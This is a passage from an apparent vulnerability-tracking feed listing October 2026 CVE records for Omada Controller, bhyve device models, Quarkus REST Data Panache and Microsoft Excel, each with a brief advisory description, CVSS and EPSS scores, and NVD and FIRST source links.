Omada Controller's MSP and OpenAPI certificate/private-key management APIs do not properly enforce administrative authorization, allowing an authenticated user to perform privileged certificate management operations. 

Successful exploitation may allow a low-privileged authenticated user to upload or delete the controller's TLS certificate or private key, potentially disrupting secure management access.
CVSS 7.5 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107795).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107795&date=2026-10-25).
Sources:
NVD CVE-2026-107795: https://nvd.nist.gov/vuln/detail/CVE-2026-107795
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107795&date=2026-10-25
Omada Controller's MSP and OpenAPI certificate/private-key management APIs do not properly enforce administrative authorization, allowing an authenticated user to perform privileged certificate management operations. 

Successful exploitation may allow a low-privileged authenticated user to upload or delete the controller's TLS certificate or private key, potentially disrupting secure management access.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The framebuffer device model's maximum resolution constants were duplicated between the framebuffer and RFB modules and had gotten out of sync.
https://kevwire.com/record/CVE-2026-101311
The framebuffer device model's maximum resolution constants were duplicated between the framebuffer and RFB modules and had gotten out of sync. (Oct 15, 2026).
The framebuffer device model's maximum resolution constants were duplicated between the framebuffer and RFB modules and had gotten out of sync.  Additionally, writes to the framebuffer BAR could set arbitrary width and height values without validation, and the framebuffer BAR I/O and RFB rendering threads were not synchronized.

A malicious guest can crash the bhyve process or potentially execute arbitrary code in the host userspace context running the virtual machine, subject to bhyve's Capsicum sandbox.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101311).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101311&date=2026-10-25).
Sources:
NVD CVE-2026-101311: https://nvd.nist.gov/vuln/detail/CVE-2026-101311
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101311&date=2026-10-25
The framebuffer device model's maximum resolution constants were duplicated between the framebuffer and RFB modules and had gotten out of sync.  Additionally, writes to the framebuffer BAR could set arbitrary width and height values without validation, and the framebuffer BAR I/O and RFB rendering threads were not synchronized.

A malicious guest can crash the bhyve process or potentially execute arbitrary code in the host userspace context running the virtual machine, subject to bhyve's Capsicum sandbox.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The HDA audio device model did not check for zero-length Buffer Descriptor List (BDL) entries when starting a stream.
https://kevwire.com/record/CVE-2026-101310
The HDA audio device model did not check for zero-length Buffer Descriptor List (BDL) entries when starting a stream. (Oct 15, 2026).
The HDA audio device model did not check for zero-length Buffer Descriptor List (BDL) entries when starting a stream.  A zero-length entry caused an out-of-bounds read or write during DMA transfer processing.  BDL fields were also subject to modification by the guest after validation.

A malicious guest can crash the bhyve process or potentially execute arbitrary code in the host userspace context running the virtual machine, subject to bhyve's Capsicum sandbox.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101310).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101310&date=2026-10-25).
Sources:
NVD CVE-2026-101310: https://nvd.nist.gov/vuln/detail/CVE-2026-101310
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101310&date=2026-10-25
The HDA audio device model did not check for zero-length Buffer Descriptor List (BDL) entries when starting a stream.  A zero-length entry caused an out-of-bounds read or write during DMA transfer processing.  BDL fields were also subject to modification by the guest after validation.

A malicious guest can crash the bhyve process or potentially execute arbitrary code in the host userspace context running the virtual machine, subject to bhyve's Capsicum sandbox.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The xHCI (USB 3) device model did not validate or save the event ring size provided by the guest.
https://kevwire.com/record/CVE-2026-101309
The xHCI (USB 3) device model did not validate or save the event ring size provided by the guest. (Oct 15, 2026).
The xHCI (USB 3) device model did not validate or save the event ring size provided by the guest.  The size was re-read from guest memory on each use, and Transfer Request Block (TRB) fields were loaded without protection against concurrent modification by the guest.  This race condition could be triggered by a guest running malicious, privileged code.

A malicious guest can crash the bhyve process or potentially execute arbitrary code in the host userspace context running the virtual machine, subject to bhyve's Capsicum sandbox.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101309).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101309&date=2026-10-25).
Sources:
NVD CVE-2026-101309: https://nvd.nist.gov/vuln/detail/CVE-2026-101309
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101309&date=2026-10-25
The xHCI (USB 3) device model did not validate or save the event ring size provided by the guest.  The size was re-read from guest memory on each use, and Transfer Request Block (TRB) fields were loaded without protection against concurrent modification by the guest.  This race condition could be triggered by a guest running malicious, privileged code.

A malicious guest can crash the bhyve process or potentially execute arbitrary code in the host userspace context running the virtual machine, subject to bhyve's Capsicum sandbox.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in Quarkus REST Data Panache. This vulnerability allows unauthenticated attackers to bypass security controls on generated endpoints.
https://kevwire.com/record/CVE-2026-87744
A flaw was found in Quarkus REST Data Panache. This vulnerability allows unauthenticated attackers to bypass security controls on generated endpoints. (Oct 12, 2026).
A flaw was found in Quarkus REST Data Panache. This vulnerability allows unauthenticated attackers to bypass security controls on generated endpoints. When a developer customizes a specific operation using @MethodProperties without explicitly re-declaring security roles, the code generator silently drops class-level security requirements. This results in the affected endpoint defaulting to permissive, unauthenticated access, potentially leading to unauthorized information disclosure or data modification.
CVSS 9.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87744).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87744&date=2026-10-25).
Sources:
NVD CVE-2026-87744: https://nvd.nist.gov/vuln/detail/CVE-2026-87744
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87744&date=2026-10-25
A flaw was found in Quarkus REST Data Panache. This vulnerability allows unauthenticated attackers to bypass security controls on generated endpoints. When a developer customizes a specific operation using @MethodProperties without explicitly re-declaring security roles, the code generator silently drops class-level security requirements. This results in the affected endpoint defaulting to permissive, unauthenticated access, potentially leading to unauthorized information disclosure or data modification.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97780
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97780).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97780&date=2026-10-25).
Sources:
NVD CVE-2026-97780: https://nvd.nist.gov/vuln/detail/CVE-2026-97780
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97780
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97780&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer overflow or wraparound in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97778
Integer overflow or wraparound in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Integer overflow or wraparound in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97778).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97778&date=2026-10-25).
Sources:
NVD CVE-2026-97778: https://nvd.nist.gov/vuln/detail/CVE-2026-97778
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97778
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97778&date=2026-10-25
Integer overflow or wraparound in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97777
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97777).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97777&date=2026-10-25).
Sources:
NVD CVE-2026-97777: https://nvd.nist.gov/vuln/detail/CVE-2026-97777
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97777
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97777&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97776
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97776).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97776&date=2026-10-25).
Sources:
NVD CVE-2026-97776: https://nvd.nist.gov/vuln/detail/CVE-2026-97776
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97776
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97776&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97775
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97775).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97775&date=2026-10-25).
Sources:
NVD CVE-2026-97775: https://nvd.nist.gov/vuln/detail/CVE-2026-97775
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97775
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97775&date=2026-10-25
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97773
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97773).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97773&date=2026-10-25).
Sources:
NVD CVE-2026-97773: https://nvd.nist.gov/vuln/detail/CVE-2026-97773
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97773
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97773&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Double free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97772
Double free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Double free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97772).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97772&date=2026-10-25).
Sources:
NVD CVE-2026-97772: https://nvd.nist.gov/vuln/detail/CVE-2026-97772
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97772
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97772&date=2026-10-25
Double free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97771
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97771).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97771&date=2026-10-25).
Sources:
NVD CVE-2026-97771: https://nvd.nist.gov/vuln/detail/CVE-2026-97771
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97771
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97771&date=2026-10-25
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stack-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97770
Stack-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Stack-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97770).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97770&date=2026-10-25).
Sources:
NVD CVE-2026-97770: https://nvd.nist.gov/vuln/detail/CVE-2026-97770
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97770
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97770&date=2026-10-25
Stack-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97769
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97769).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97769&date=2026-10-25).
Sources:
NVD CVE-2026-97769: https://nvd.nist.gov/vuln/detail/CVE-2026-97769
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97769
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97769&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97768
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97768).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97768&date=2026-10-25).
Sources:
NVD CVE-2026-97768: https://nvd.nist.gov/vuln/detail/CVE-2026-97768
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97768
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97768&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Double free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97767
Double free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Double free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97767).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97767&date=2026-10-25).
Sources:
NVD CVE-2026-97767: https://nvd.nist.gov/vuln/detail/CVE-2026-97767
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97767
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97767&date=2026-10-25
Double free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97766
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97766).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97766&date=2026-10-25).
Sources:
NVD CVE-2026-97766: https://nvd.nist.gov/vuln/detail/CVE-2026-97766
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97766
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97766&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97765
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97765).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97765&date=2026-10-25).
Sources:
NVD CVE-2026-97765: https://nvd.nist.gov/vuln/detail/CVE-2026-97765
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97765
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97765&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97763
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97763).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97763&date=2026-10-25).
Sources:
NVD CVE-2026-97763: https://nvd.nist.gov/vuln/detail/CVE-2026-97763
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97763
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97763&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds write in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97762
Out-of-bounds write in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Out-of-bounds write in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97762).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97762&date=2026-10-25).
Sources:
NVD CVE-2026-97762: https://nvd.nist.gov/vuln/detail/CVE-2026-97762
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97762
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97762&date=2026-10-25
Out-of-bounds write in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stack-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97761
Stack-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Stack-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97761).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97761&date=2026-10-25).
